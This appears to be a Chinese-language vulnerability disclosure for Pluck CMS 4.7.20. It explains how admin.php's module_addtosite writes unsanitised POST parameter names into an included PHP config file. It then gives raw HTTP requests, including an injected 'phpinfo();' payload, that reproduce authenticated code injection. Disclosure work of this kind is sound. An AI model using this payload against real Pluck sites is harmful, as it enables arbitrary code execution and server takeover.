在 admin.php 中,module_addtosite 函数会遍历整个 $_POST 数组,使用 explode('|', ...) 分割用户可控的参数名,并将其直接拼接进 data/settings/themes//moduleconf.php 文件中。该文件随后会被包含到后台页面和前端 theme_area() 渲染过程中。由于参数名未经过白名单验证和安全转义,攻击者可以污染可执行的 PHP 文件,从而导致代码注入漏洞。
项目地址:https://github.com/pluck-cms/pluck/
复现环境:pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、首先,安装一个全新的环境。
2、访问 "/login.php" 页面,登录管理员账户,登录成功后,记录当前的 Cookie 如下:login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、发送一个 POST 数据包,注入的代码为 "phpinfo();"
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、访问网站根目录,页面会重定向到首页。可以发现注入的代码已被执行。 图片